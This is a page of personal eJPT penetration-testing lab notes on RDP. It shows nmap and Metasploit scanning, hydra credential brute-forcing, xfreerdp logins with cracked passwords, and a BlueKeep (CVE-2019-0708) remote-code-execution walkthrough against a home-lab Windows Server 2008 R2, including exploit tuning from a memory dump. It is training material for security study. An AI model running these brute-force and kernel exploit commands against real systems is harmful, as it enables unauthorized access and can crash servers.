INE Training Notes - by syselement
🏠 Home BlogGitHub📚 Buy Me a Book
  • INE Training Notes
  • Courses
    • eJPT - PTSv2
      • 📒Penetration Testing Prerequisites
        • Introduction
        • Networking
        • Web Applications
      • 📒1. Assessment Methodologies & Auditing
        • Information Gathering
        • Footprinting & Scanning
        • Enumeration
          • 🔬SMB Enum
          • 🔬FTP Enum
          • 🔬SSH Enum
          • 🔬HTTP Enum
          • 🔬MYSQL Enum
          • 🔬SMTP Enum
        • Vulnerability Assessment
        • Auditing Fundamentals
      • 📒2. Host & Network Penetration Testing
        • System/Host Based Attacks
          • 🪟Windows Attacks
            • 🔬IIS - WebDAV
            • 🔬SMB - PsExec
            • 🔬RDP
            • 🔬WinRM
            • 🔬Win Kernel Privesc
            • 🔬UAC Bypass
            • 🔬Access Token
            • 🔬Alternate Data Stream
            • 🔬Credentials Dumping
          • 🐧Linux Attacks
            • 🔬Bash
            • 🔬FTP
            • 🔬SSH
            • 🔬SAMBA
            • 🔬Cron Jobs
            • 🔬SUID
            • 🔬Hashes Dumping
        • Network Based Attacks
          • 🔬Tshark, ARP, WiFi
        • The Metasploit Framework (MSF)
          • 🔬HFS - MSF Exploit
          • 🔬Tomcat - MSF Exploit
          • 🔬FTP - MSF Exploit
          • 🔬Samba - MSF Exploit
          • 🔬SSH - MSF Exploit
          • 🔬SMTP - MSF Exploit
          • 🔬Meterpreter - MSF
          • 🔬Win Post Exploitation - MSF
          • 🔬Linux Post Exploitation - MSF
        • Exploitation
          • 🔬Fixing Exploits - HFS
          • 🔬Win Workflow Platform - MSF
          • 🔬Win Black Box Pentest
          • 🔬Linux Black Box Pentest
        • Post-Exploitation
          • 🔬Windows Post-Exploitation
          • 🔬Windows Privilege Escalation
          • 🔬Windows Persistence
          • 🔬Linux Post-Exploitation
          • 🔬Linux Privilege Escalation
          • 🔬Linux Persistence
          • 🔬Cracking Hashes
          • 🔬Pivoting
        • Social Engineering
      • 📒3. Web Application Penetration Testing
        • Intro to Web App Pentesting
          • 🔬HTTP Enumeration
          • 🔬Web App Scanning
          • 🔬Web App Attacks
      • 🔬Exam Preparation - Labs
        • PTSv1 Prerequisites Labs
          • 🔬HTTP(S) Traffic Sniffing
          • 🔬Find the Secret Server
          • 🔬Data Exfiltration
          • 🔬Burp Suite Basics - Directory Enumeration
        • PTSv2 Practice Labs
      • 🌐eJPT References
      • 📜eJPT Cheat Sheet
    • ICCA
      • 📒1. Cloud Foundations
      • 📒2. Cloud Management Concepts
      • 📒3. Cloud Identity, Security, and Compliance
      • 🌐Icca References
    • eMAPT
      • 📒Android
      • 📒iOS
      • 🌐eMAPT References
  • 🏠syselement's Blog Home
Powered by GitBook
On this page
  • Lab 1
  • Enumeration
  • RDP Brute-force
  • Lab 2 - BlueKeep (Extra)
  • Enumeration
  • Exploitation
  • Lab 3 (Extra)

Was this helpful?

Edit on GitHub
  1. Courses
  2. eJPT - PTSv2
  3. 📒2. Host & Network Penetration Testing
  4. System/Host Based Attacks
  5. Windows Attacks

🔬RDP

Previous🔬SMB - PsExecNext🔬WinRM

Last updated 2 years ago

Was this helpful?

Lab 1

🔬

  • Target IP: 10.4.18.131

  • RDP exploitation

  • Dictionaries to use:

    • /usr/share/metasploit-framework/data/wordlists/common_users.txt

    • /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt

Enumeration

ping 10.4.18.131

nmap -sV 10.4.18.131
PORT      STATE SERVICE        VERSION
135/tcp   open  msrpc          Microsoft Windows RPC
139/tcp   open  netbios-ssn    Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds   Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
3333/tcp  open  ssl/dec-notes?
49152/tcp open  msrpc          Microsoft Windows RPC
49153/tcp open  msrpc          Microsoft Windows RPC
49154/tcp open  msrpc          Microsoft Windows RPC
49155/tcp open  msrpc          Microsoft Windows RPC
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
msfconsole
use auxiliary/scanner/rdp/rdp_scanner
set RHOSTS 10.4.18.131
set RPORT 3333
run

📌 The RDP is exposed on target port 3333, and not on the default port 3389.

RDP Brute-force

  • Try hydra to find valid username and password

hydra -L /usr/share/metasploit-framework/data/wordlists/common_users.txt -P /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt rdp://10.4.18.131 -s 3333
[3333][rdp] host: 10.4.18.131   login: sysadmin   password: samantha
[3333][rdp] host: 10.4.18.131   login: demo   password: victoria
[3333][rdp] host: 10.4.18.131   login: auditor   password: elizabeth
[3333][rdp] host: 10.4.18.131   login: administrator   password: qwertyuiop
  • freerdp cannot be used in this lab

  • Use xfreerdp to connect to target via RDP

xfreerdp /u:administrator /p:qwertyuiop /v:10.4.18.131:3333
Reveal Flag: 🚩

port-number-3333


Lab 2 - BlueKeep (Extra)

🔬 Home Lab

I have prepared a vulnerable Windows 2008 R2 Virtual Machine and connected it to the same network of the Kali virtual machine. On the server, I have activated RDP service on default port 3389.

  • Host system: Kali Linux

  • Target system: Windown Server 2008 R2 - IP 192.168.31.131 - Administrator:Eternal17010

  • Exploitation tool:

  • ❗ Targeting Kernel space memory and apps can cause system crashes.

  • The attacker can remotely execute arbitrary code by gaining access to a chunk of kernel memory, without authentication.

  • BlueKeep PoC's (Proof of Concepts) and exploits could be malicious in nature, use only verified exploit code and modules.

  • Target RDP activated:

Enumeration

nmap -sV -sC 192.168.31.131
  • 📌 RDP Port 3389 is open

Exploitation

msfconsole
search bluekeep
use 0 # Module auxiliary/scanner/rdp/cve_2019_0708_bluekeep ID
set RHOSTS 192.168.31.131
exploit
search bluekeep
use 1 # Module exploit/windows/rdp/cve_2019_0708_bluekeep_rce ID
set RHOSTS 192.168.31.131
show targets
set target 5
exploit

❗ Kernel CRASH can be caused by this exploit, so pay attention on production environment ❗

Adjusting the exploit

  • On WinServer2008 target, open regedit

    • HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp

    • Set fDisableCam reg key on 0

Finding the NPP

  • The NPP address can be extracted from a memory dump of the target machine.

  • In VMWare, take a snapshot of the target virtual machine (Win Server 2008 R2).

    • From the VM (virtual machine) folder copy the .vmem and .vmsn files to the vmss2core tool folder

    • Run the tool to generate a memory.dmp file

.\vmss2core-sb-8456865.exe -W "WinSrv_2008_R2_x64-Snapshot1.vmsn" "WinSrv_2008_R2_x64-Snapshot1.vmem"
    • Run !polfind a to get a message

    • That is the start of address of Non Page Pool, in this case fffffa8018c08000

  • Edit the exploit and set the GROOMBASE variable if not already set.

    • In my case it is already set as the above address, for the 2008 R2 (6.1.7601 x64 - VMWare 15.1) target number 5.

  • Save the exploit file and run reload_all in the Metasploit interface.

  • Set the GROOMSIZE to 50.

msfconsole
search bluekeep
use 1 # Module exploit/windows/rdp/cve_2019_0708_bluekeep_rce ID
set RHOSTS 192.168.31.131
show targets
set target 5
set GROOMSIZE 50
exploit

Lab 3 (Extra)

  • Target IP: 10.4.22.41

  • RDP exploitation

  • Dictionaries to use:

    • /usr/share/metasploit-framework/data/wordlists/common_users.txt

    • /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt

nmap 10.10.4.22.41

PORT      STATE SERVICE
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
3389/tcp  open  ms-wbt-server
49152/tcp open  unknown
49153/tcp open  unknown
49154/tcp open  unknown
49155/tcp open  unknown
hydra -L /usr/share/metasploit-framework/data/wordlists/common_users.txt -P /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt rdp://10.4.22.41 -s 3389
xfreerdp /u:administrator /p:bubbles /v:10.4.22.41
# default port is 3389
Reveal Flag: 🚩

sysadmin-stephaie-123


Use Metasploit module to check if port 3333 is running RDP.

Vulnerability:

To make the exploit work, I've used the and .

To make the exploit work, it needs the correct GROOMBASE value which is the start address of the (NPP).

Download the

Run and open the memory.dmp file

🪟
Windows: Insecure RDP Service
rdp_scanner
CVE-2019-0708 - BlueKeep
Pentest-Tools blog on BlueKeep
Alexandre Vieira blog post
Non Paged Pool area
vmss2core tool
WinDbg
Windows RDP: Dictionary Attack
Metasploit rdp_scanner
hydra
xfreerdp RDP connected
Metasploit BlueKeep modules
nmap -sV -sC 192.168.31.131
Metasploit cve_2019_0708_bluekeep
Metasploit cve_2019_0708_bluekeep_rce
Win Server 2008 R2 crash
WinDbg
BlueKeep RCE Success